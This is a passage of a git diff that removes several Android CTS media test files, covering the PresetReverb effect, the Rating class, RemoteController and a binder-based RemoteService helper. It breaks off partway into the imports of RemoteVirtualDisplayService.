-import android.os.Looper;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class PresetReverbTest extends PostProcTestBase {
-
-    private String TAG = "PresetReverbTest";
-    private final static short FIRST_PRESET = PresetReverb.PRESET_NONE;
-    private final static short LAST_PRESET = PresetReverb.PRESET_PLATE;
-    private final static int MAX_LOOPER_WAIT_COUNT = 10;
-
-    private PresetReverb mReverb = null;
-    private PresetReverb mReverb2 = null;
-    private ListenerThread mEffectListenerLooper = null;
-
-    //-----------------------------------------------------------------
-    // PRESET REVERB TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        PresetReverb reverb = null;
-        try {
-            reverb = new PresetReverb(0, 0);
-            try {
-                assertTrue("invalid effect ID", (reverb.getId() != 0));
-            } catch (IllegalStateException e) {
-                fail("PresetReverb not initialized");
-            }
-        } catch (IllegalArgumentException e) {
-            fail("PresetReverb not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (reverb != null) {
-                reverb.release();
-            }
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 1 - get/set parameters
-    //----------------------------------
-
-    //Test case 1.0: test presets
-    public void test1_0Presets() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            for (short preset = FIRST_PRESET;
-                 preset <= LAST_PRESET;
-                 preset++) {
-                mReverb.setPreset(preset);
-                assertEquals("got incorrect preset", preset, mReverb.getPreset());
-            }
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //Test case 1.1: test properties
-    public void test1_1Properties() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            PresetReverb.Settings settings = mReverb.getProperties();
-            String str = settings.toString();
-            settings = new PresetReverb.Settings(str);
-            short preset = (settings.preset == PresetReverb.PRESET_SMALLROOM) ?
-                            PresetReverb.PRESET_MEDIUMROOM : PresetReverb.PRESET_SMALLROOM;
-            settings.preset = preset;
-            mReverb.setProperties(settings);
-            settings = mReverb.getProperties();
-            assertEquals("setProperties failed", settings.preset, preset);
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - Effect enable/disable
-    //----------------------------------
-
-    //Test case 2.0: test setEnabled() and getEnabled() in valid state
-    public void test2_0SetEnabledGetEnabled() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            mReverb.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mReverb.getEnabled());
-            mReverb.setEnabled(false);
-            assertFalse("invalid state to getEnabled", mReverb.getEnabled());
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //Test case 2.1: test setEnabled() throws exception after release
-    public void test2_1SetEnabledAfterRelease() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        mReverb.release();
-        try {
-            mReverb.setEnabled(true);
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 priority and listeners
-    //----------------------------------
-
-    //Test case 3.0: test control status listener
-    public void test3_0ControlStatusListener() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-         synchronized(mLock) {
-            mHasControl = true;
-            mInitialized = false;
-            createListenerLooper(true, false, false);
-            waitForLooperInitialization_l();
-
-            getReverb(0);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mHasControl && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseReverb();
-        }
-        assertFalse("effect control not lost by effect1", mHasControl);
-    }
-
-    //Test case 3.1: test enable status listener
-    public void test3_1EnableStatusListener() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-         synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, true, false);
-            waitForLooperInitialization_l();
-
-            mReverb2.setEnabled(true);
-            mIsEnabled = true;
-            getReverb(0);
-            mReverb.setEnabled(false);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mIsEnabled && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseReverb();
-        }
-        assertFalse("enable status not updated", mIsEnabled);
-    }
-
-    //Test case 3.2: test parameter changed listener
-    public void test3_2ParameterChangedListener() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, false, true);
-            waitForLooperInitialization_l();
-
-            getReverb(0);
-            mChangedParameter = -1;
-            mReverb.setPreset(PresetReverb.PRESET_SMALLROOM);
-
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseReverb();
-        }
-        assertEquals("parameter change not received",
-                PresetReverb.PARAM_PRESET, mChangedParameter);
-    }
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-
-    private void getReverb(int session) {
-         if (mReverb == null || session != mSession) {
-             if (session != mSession && mReverb != null) {
-                 mReverb.release();
-                 mReverb = null;
-             }
-             try {
-                mReverb = new PresetReverb(0, session);
-                mSession = session;
-            } catch (IllegalArgumentException e) {
-                Log.e(TAG, "getReverb() PresetReverb not found exception: "+e);
-            } catch (UnsupportedOperationException e) {
-                Log.e(TAG, "getReverb() Effect library not loaded exception: "+e);
-            }
-         }
-         assertNotNull("could not create mReverb", mReverb);
-    }
-
-    private void releaseReverb() {
-        if (mReverb != null) {
-            mReverb.release();
-            mReverb = null;
-        }
-    }
-
-    private void waitForLooperInitialization_l() {
-        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-        while (!mInitialized && (looperWaitCount-- > 0)) {
-            try {
-                mLock.wait();
-            } catch(Exception e) {
-            }
-        }
-        assertTrue(mInitialized);
-    }
-
-    // Initializes the reverb listener looper
-    class ListenerThread extends Thread {
-        boolean mControl;
-        boolean mEnable;
-        boolean mParameter;
-
-        public ListenerThread(boolean control, boolean enable, boolean parameter) {
-            super();
-            mControl = control;
-            mEnable = enable;
-            mParameter = parameter;
-        }
-
-        public void cleanUp() {
-            if (mReverb2 != null) {
-                mReverb2.setControlStatusListener(null);
-                mReverb2.setEnableStatusListener(null);
-                mReverb2.setParameterListener(
-                            (PresetReverb.OnParameterChangeListener)null);
-            }
-        }
-    }
-
-    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
-        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
-            @Override
-            public void run() {
-                // Set up a looper
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                mReverb2 = new PresetReverb(0, 0);
-                assertNotNull("could not create Reverb2", mReverb2);
-
-                synchronized(mLock) {
-                    if (mControl) {
-                        mReverb2.setControlStatusListener(
-                                new AudioEffect.OnControlStatusChangeListener() {
-                            public void onControlStatusChange(
-                                    AudioEffect effect, boolean controlGranted) {
-                                synchronized(mLock) {
-                                    if (effect == mReverb2) {
-                                        mHasControl = controlGranted;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mEnable) {
-                        mReverb2.setEnableStatusListener(
-                                new AudioEffect.OnEnableStatusChangeListener() {
-                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
-                                synchronized(mLock) {
-                                    if (effect == mReverb2) {
-                                        mIsEnabled = enabled;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mParameter) {
-                        mReverb2.setParameterListener(new PresetReverb.OnParameterChangeListener() {
-                            public void onParameterChange(PresetReverb effect,
-                                    int status, int param, short value)
-                            {
-                                synchronized(mLock) {
-                                    if (effect == mReverb2) {
-                                        mChangedParameter = param;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        };
-        mEffectListenerLooper.start();
-    }
-
-    // Terminates the listener looper thread.
-    private void terminateListenerLooper() {
-        if (mEffectListenerLooper != null) {
-            mEffectListenerLooper.cleanUp();
-            if (mLooper != null) {
-                mLooper.quit();
-                mLooper = null;
-            }
-            try {
-                mEffectListenerLooper.join();
-            } catch(InterruptedException e) {
-            }
-            mEffectListenerLooper = null;
-        }
-
-        if (mReverb2 != null) {
-            mReverb2.release();
-            mReverb2 = null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RatingTest.java b/tests/tests/media/src/android/media/cts/RatingTest.java
deleted file mode 100644
index 4b8857a..0000000
--- a/tests/tests/media/src/android/media/cts/RatingTest.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.Rating.RATING_3_STARS;
-import static android.media.Rating.RATING_4_STARS;
-import static android.media.Rating.RATING_5_STARS;
-import static android.media.Rating.RATING_HEART;
-import static android.media.Rating.RATING_NONE;
-import static android.media.Rating.RATING_PERCENTAGE;
-import static android.media.Rating.RATING_THUMB_UP_DOWN;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.media.Rating;
-import android.os.Parcel;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests {@link android.media.Rating}.
- *
- * TODO: Tests for applying invalid method (e.g. heartRating.getPercentRating()).
- * TODO: Tests for methods inherited from Parcelable
- */
-@NonMediaMainlineTest
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class RatingTest {
-
-    @Test
-    public void testNewUnratedRating() {
-        final int[] ratingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN, RATING_3_STARS,
-                RATING_4_STARS, RATING_5_STARS, RATING_PERCENTAGE };
-        for (int ratingStyle : ratingStyles) {
-            Rating rating = Rating.newUnratedRating(ratingStyle);
-            assertNotNull(rating);
-            assertEquals(ratingStyle, rating.getRatingStyle());
-            assertFalse(rating.isRated());
-        }
-
-        final int[] invalidRatingStyles = new int[] {RATING_NONE, -1};
-        for (int invalidRatingStyle : invalidRatingStyles) {
-            Rating rating = Rating.newUnratedRating(invalidRatingStyle);
-            assertNull(rating);
-        }
-    }
-
-    @Test
-    public void testHeartRating() {
-        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
-        assertEquals(RATING_HEART, ratingWithHeart.getRatingStyle());
-        assertTrue(ratingWithHeart.hasHeart());
-        assertTrue(ratingWithHeart.isRated());
-
-        Rating ratingWithoutHeart = Rating.newHeartRating(/*hasHeart=*/ false);
-        assertEquals(RATING_HEART, ratingWithoutHeart.getRatingStyle());
-        assertFalse(ratingWithoutHeart.hasHeart());
-        assertTrue(ratingWithoutHeart.isRated());
-    }
-
-    @Test
-    public void testHeartRatingWithIllegalRatingValueGetters() {
-        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
-        assertFalse(ratingWithHeart.isThumbUp());
-        assertTrue(ratingWithHeart.getStarRating() < 0f);
-        assertTrue(ratingWithHeart.getPercentRating() < 0f);
-    }
-
-    @Test
-    public void testThumbRating() {
-        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
-        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbUp.getRatingStyle());
-        assertTrue(ratingThumbUp.isThumbUp());
-        assertTrue(ratingThumbUp.isRated());
-
-        Rating ratingThumbDown = Rating.newThumbRating(/*thumbIsUp=*/ false);
-        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbDown.getRatingStyle());
-        assertFalse(ratingThumbDown.isThumbUp());
-        assertTrue(ratingThumbDown.isRated());
-    }
-
-    @Test
-    public void testThumbRatingWithIllegalRatingValueGetters() {
-        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
-        assertFalse(ratingThumbUp.hasHeart());
-        assertTrue(ratingThumbUp.getStarRating() < 0f);
-        assertTrue(ratingThumbUp.getPercentRating() < 0f);
-    }
-
-    @Test
-    public void testNewStarRatingWithInvalidStylesReturnsNull() {
-        final int[] nonStarRatingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN,
-                RATING_PERCENTAGE, RATING_NONE };
-        for (int nonStarRatingStyle : nonStarRatingStyles) {
-            assertNull(Rating.newStarRating(nonStarRatingStyle, 1.0f));
-        }
-    }
-
-    @Test
-    public void testNewStarRatingWithInvalidRatingValuesReturnsNull() {
-        assertNull(Rating.newStarRating(RATING_3_STARS, -1.0f));
-        assertNull(Rating.newStarRating(RATING_3_STARS, 4f));
-        assertNull(Rating.newStarRating(RATING_3_STARS, Float.MAX_VALUE));
-        assertNull(Rating.newStarRating(RATING_3_STARS, Float.NaN));
-
-        assertNull(Rating.newStarRating(RATING_4_STARS, -1.0f));
-        assertNull(Rating.newStarRating(RATING_4_STARS, 5f));
-        assertNull(Rating.newStarRating(RATING_4_STARS, Float.MAX_VALUE));
-        assertNull(Rating.newStarRating(RATING_4_STARS, Float.NaN));
-
-        assertNull(Rating.newStarRating(RATING_5_STARS, -1.0f));
-        assertNull(Rating.newStarRating(RATING_5_STARS, 6f));
-        assertNull(Rating.newStarRating(RATING_5_STARS, Float.MAX_VALUE));
-        assertNull(Rating.newStarRating(RATING_5_STARS, Float.NaN));
-    }
-
-    @Test
-    public void testStarRating() {
-        final float starRatingValue = 1.5f;
-        final int[] starRatingStyles = new int[] { RATING_3_STARS, RATING_4_STARS, RATING_5_STARS};
-
-        for (int starRatingStyle : starRatingStyles) {
-            Rating starRating = Rating.newStarRating(starRatingStyle, starRatingValue);
-            assertNotNull(starRating);
-            assertEquals(starRatingStyle, starRating.getRatingStyle());
-            assertEquals(starRatingValue, starRating.getStarRating(), /*delta=*/ 0f);
-            assertTrue(starRating.isRated());
-        }
-    }
-
-    @Test
-    public void testStarRatingWithIllegalRatingValueGetters() {
-        Rating starRating = Rating.newStarRating(RATING_3_STARS, /*starValue=*/ 2.5f);
-        assertFalse(starRating.hasHeart());
-        assertFalse(starRating.isThumbUp());
-        assertTrue(starRating.getPercentRating() < 0f);
-    }
-
-    @Test
-    public void testNewPercentageRatingWithInvalidPercentValuesReturnsNull() {
-        final float[] invalidPercentValues = new float[] {-1.0f, 100.1f, 200f, 1000f,
-                Float.MAX_VALUE, Float.NaN};
-        for (float invalidPercentValue : invalidPercentValues) {
-            assertNull(Rating.newPercentageRating(invalidPercentValue));
-        }
-    }
-
-    @Test
-    public void testPercentageRating() {
-        final float[] percentValues = new float[] { 0.0f, 20.0f, 33.3f, 50.0f, 64.5f, 89.9f, 100f};
-        for (float percentValue : percentValues) {
-            Rating percentageRating = Rating.newPercentageRating(percentValue);
-            assertNotNull(percentageRating);
-            assertEquals(RATING_PERCENTAGE, percentageRating.getRatingStyle());
-            assertEquals(percentValue, percentageRating.getPercentRating(), /*delta=*/ 0f);
-            assertTrue(percentageRating.isRated());
-        }
-    }
-
-    @Test
-    public void testPercentageWithIllegalRatingValueGetters() {
-        Rating percentageRating = Rating.newPercentageRating(72.5f);
-        assertFalse(percentageRating.hasHeart());
-        assertFalse(percentageRating.isThumbUp());
-        assertTrue(percentageRating.getStarRating() < 0f);
-    }
-
-    @Test
-    public void testToStringDoesNotCrash() {
-        Rating rating = Rating.newHeartRating(/*hasHeart=*/ true);
-        rating.toString(); // This should not crash.
-    }
-
-    @Test
-    public void testParcelization() {
-        Parcel p = Parcel.obtain();
-        try {
-            Rating rating = Rating.newStarRating(RATING_4_STARS, 3.5f);
-            p.writeParcelable(rating, /*flags=*/ 0);
-            p.setDataPosition(0);
-
-            Rating ratingFromParcel = p.readParcelable(null);
-            assertNotNull(ratingFromParcel);
-            // TODO: Compare two rating using equals() when it is implemented.
-            assertEquals(rating.getRatingStyle(), ratingFromParcel.getRatingStyle());
-            assertEquals(rating.getStarRating(), ratingFromParcel.getStarRating(), 0f);
-        } finally {
-            p.recycle();
-        }
-    }
-
-    @Test
-    public void testCreatorNewArray() {
-        final int arrayLength = 5;
-        Rating[] ratingArrayInitializedWithNulls = Rating.CREATOR.newArray(arrayLength);
-        assertNotNull(ratingArrayInitializedWithNulls);
-        assertEquals(arrayLength, ratingArrayInitializedWithNulls.length);
-        for (Rating rating : ratingArrayInitializedWithNulls) {
-            assertNull(rating);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java b/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
deleted file mode 100644
index a7d9f72..0000000
--- a/tests/tests/media/src/android/media/cts/RemoteControllerTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.media.RemoteController;
-import android.media.RemoteController.OnClientUpdateListener;
-import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
-import android.view.KeyEvent;
-import android.util.Log;
-
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Tests for {@link RemoteController}.
- */
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class RemoteControllerTest extends InstrumentationTestCase {
-
-    private static final Set<Integer> MEDIA_KEY_EVENT = new HashSet<Integer>();
-    static {
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PLAY);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PAUSE);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MUTE);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_HEADSETHOOK);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_STOP);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_NEXT);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_REWIND);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_RECORD);
-        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
-    }
-
-    static OnClientUpdateListener listener = new OnClientUpdateListener() {
-            @Override
-            public void onClientChange(boolean clearing) {}
-            @Override
-            public void onClientPlaybackStateUpdate(int state) {}
-            @Override
-            public void onClientPlaybackStateUpdate(
-                int state, long stateChangeTimeMs, long currentPosMs, float speed) {}
-            @Override
-            public void onClientTransportControlUpdate(int transportControlFlags) {}
-            @Override
-            public void onClientMetadataUpdate(RemoteController.MetadataEditor metadataEditor) {}
-        };
-
-    private Context mContext;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-    }
-
-    private RemoteController createRemoteController() {
-        return new RemoteController(mContext, listener);
-    }
-
-    @UiThreadTest
-    public void testGetEstimatedMediaPosition() {
-        assertTrue(createRemoteController().getEstimatedMediaPosition() < 0);
-    }
-
-    @UiThreadTest
-    public void testSendMediaKeyEvent() {
-        RemoteController remoteController = createRemoteController();
-        for (Integer mediaKeyEvent : MEDIA_KEY_EVENT) {
-            assertFalse(remoteController.sendMediaKeyEvent(
-                  new KeyEvent(KeyEvent.ACTION_DOWN, mediaKeyEvent)));
-        }
-    }
-
-    @UiThreadTest
-    public void testSeekTo_negativeValues() {
-        try {
-            createRemoteController().seekTo(-1);
-            fail("timeMs must be >= 0");
-        } catch (IllegalArgumentException expected) {}
-    }
-
-    @UiThreadTest
-    public void testSeekTo() {
-        assertTrue(createRemoteController().seekTo(0));
-    }
-
-    @UiThreadTest
-    public void testSetArtworkConfiguration() {
-        assertTrue(createRemoteController().setArtworkConfiguration(1, 1));
-    }
-
-    @UiThreadTest
-    public void testClearArtworkConfiguration() {
-        assertTrue(createRemoteController().clearArtworkConfiguration());
-    }
-
-    @UiThreadTest
-    public void testSetSynchronizationMode_unregisteredRemoteController() {
-        RemoteController remoteController = createRemoteController();
-        assertFalse(remoteController.setSynchronizationMode(
-                RemoteController.POSITION_SYNCHRONIZATION_NONE));
-        assertFalse(remoteController.setSynchronizationMode(
-                RemoteController.POSITION_SYNCHRONIZATION_CHECK));
-    }
-
-    @UiThreadTest
-    public void testEditMetadata() {
-        assertNotNull(createRemoteController().editMetadata());
-    }
-
-    @UiThreadTest
-    public void testOnClientUpdateListenerUnchanged() throws Exception {
-        Map<String, List<Method>> methodMap = new HashMap<String, List<Method>>();
-        for (Method method : listener.getClass().getDeclaredMethods()) {
-          if (!methodMap.containsKey(method.getName())) {
-              methodMap.put(method.getName(), new ArrayList<Method>());
-          }
-          methodMap.get(method.getName()).add(method);
-        }
-
-        for (Method method : OnClientUpdateListener.class.getDeclaredMethods()) {
-            assertTrue("Method not found: " + method.getName(),
-                    methodMap.containsKey(method.getName()));
-            List<Method> implementedMethodList = methodMap.get(method.getName());
-            assertTrue("Method signature changed: " + method,
-                    matchMethod(method, implementedMethodList));
-        }
-    }
-
-    private static boolean matchMethod(Method method, List<Method> potentialMatches) {
-        for (Method potentialMatch : potentialMatches) {
-            if (method.getName().equals(potentialMatch.getName()) &&
-                    method.getReturnType().equals(potentialMatch.getReturnType()) &&
-                            Arrays.equals(method.getTypeParameters(),
-                                    potentialMatch.getTypeParameters())) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RemoteService.java b/tests/tests/media/src/android/media/cts/RemoteService.java
deleted file mode 100644
index 0d98251..0000000
--- a/tests/tests/media/src/android/media/cts/RemoteService.java
+++ /dev/null
@@ -1,188 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertTrue;
-
-import static java.util.concurrent.TimeUnit.MILLISECONDS;
-
-import android.annotation.NonNull;
-import android.annotation.Nullable;
-import android.app.Service;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.RemoteException;
-import android.util.Log;
-
-import java.io.Closeable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.atomic.AtomicReference;
-
-/**
- * Base class for a service that runs on a remote process. The service that extends this class must
- * be added to AndroidManifest.xml with "android:process" attribute to be run on a separate process.
- */
-public abstract class RemoteService extends Service {
-    private static final String TAG = "RemoteService";
-    public static final long TIMEOUT_MS = 10_000;
-
-    private RemoteServiceStub mBinder;
-    private HandlerThread mHandlerThread;
-    private volatile Handler mHandler;
-
-    @Override
-    public void onCreate() {
-        mBinder = new RemoteServiceStub();
-        mHandlerThread = new HandlerThread(TAG);
-        mHandlerThread.start();
-        mHandler = new Handler(mHandlerThread.getLooper());
-    }
-
-    @Override
-    public void onDestroy() {
-        mHandlerThread.quitSafely();
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return mBinder;
-    }
-
-    /**
-     * Called by {@link Invoker#run}. It will be run on a dedicated {@link HandlerThread}.
-     *
-     * @param testId id of the test case
-     * @param step the step of a command to run
-     * @param args optional arguments
-     * @throws Exception if any
-     */
-    public abstract void onRun(int testId, int step, @Nullable Bundle args) throws Exception;
-
-    private boolean runOnHandlerSync(TestRunnable runnable) {
-        CountDownLatch latch = new CountDownLatch(1);
-        AtomicReference<Throwable> throwable = new AtomicReference<>();
-        mHandler.post(() -> {
-            try {
-                runnable.run();
-            } catch (Throwable th) {
-                throwable.set(th);
-                Log.e(TAG, "Error while running TestRunnable", th);
-            }
-            latch.countDown();
-        });
-        try {
-            boolean done = latch.await(TIMEOUT_MS, MILLISECONDS);
-            return done && throwable.get() == null;
-        } catch (InterruptedException ex) {
-            Log.w(TAG, ex);
-            return false;
-        }
-    }
-
-    private interface TestRunnable {
-        void run() throws Exception;
-    }
-
-    private class RemoteServiceStub extends IRemoteService.Stub {
-        @Override
-        public boolean run(int testId, int step, Bundle args) throws RemoteException {
-            return runOnHandlerSync(() -> onRun(testId, step, args));
-        }
-    }
-
-    /**
-     * A class to run commands on a {@link RemoteService} for a test case.
-     */
-    public static class Invoker implements Closeable {
-        private static final String ASSERTION_MESSAGE =
-                "Failed on remote service. See logcat TAG=" + TAG + " for detail.";
-
-        private final Context mContext;
-        private final int mTestId;
-        private final CountDownLatch mConnectionLatch;
-        private final ServiceConnection mServiceConnection;
-        private IRemoteService mBinder;
-
-        /**
-         * Creates an instance and connects to the remote service.
-         *
-         * @param context the context
-         * @param serviceClass the class of remote service
-         * @param testId id of the test case
-         * @throws InterruptedException if the thread is interrupted while waiting for connection
-         */
-        public Invoker(@NonNull Context context,
-                @NonNull Class<? extends RemoteService> serviceClass, int testId)
-                throws InterruptedException {
-            mContext = context;
-            mTestId = testId;
-            mConnectionLatch = new CountDownLatch(1);
-            mServiceConnection = new ServiceConnection() {
-                @Override
-                public void onServiceConnected(ComponentName name, IBinder service) {
-                    mBinder = IRemoteService.Stub.asInterface(service);
-                    mConnectionLatch.countDown();
-                }
-
-                @Override
-                public void onServiceDisconnected(ComponentName name) {
-                    mBinder = null;
-                }
-            };
-
-            Intent intent = new Intent(mContext, serviceClass);
-            mContext.bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
-            assertTrue("Failed to bind to service " + serviceClass,
-                    mConnectionLatch.await(TIMEOUT_MS, MILLISECONDS));
-        }
-
-        /**
-         * Disconnects from the remote service.
-         */
-        @Override
-        public void close() {
-            mContext.unbindService(mServiceConnection);
-        }
-
-        /**
-         * Invokes {@link #onRun} on the remote service without optional arguments.
-         *
-         * @param step the step of a command to run
-         * @throws RemoteException if binder throws exception
-         */
-        public void run(int step) throws RemoteException {
-            run(step, null);
-        }
-
-        /**
-         * Invokes {@link #onRun} on the remote service.
-         *
-         * @param step the step of a command to run
-         * @param args optional arguments
-         * @throws RemoteException if binder throws exception
-         */
-        public void run(int step, @Nullable Bundle args) throws RemoteException {
-            assertTrue(ASSERTION_MESSAGE, mBinder.run(mTestId, step, args));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java b/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
deleted file mode 100644
index 38cd279..0000000
--- a/tests/tests/media/src/android/media/cts/RemoteVirtualDisplayService.java
+++ /dev/null
@@ -1,229 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Presentation;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.drawable.ColorDrawable;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
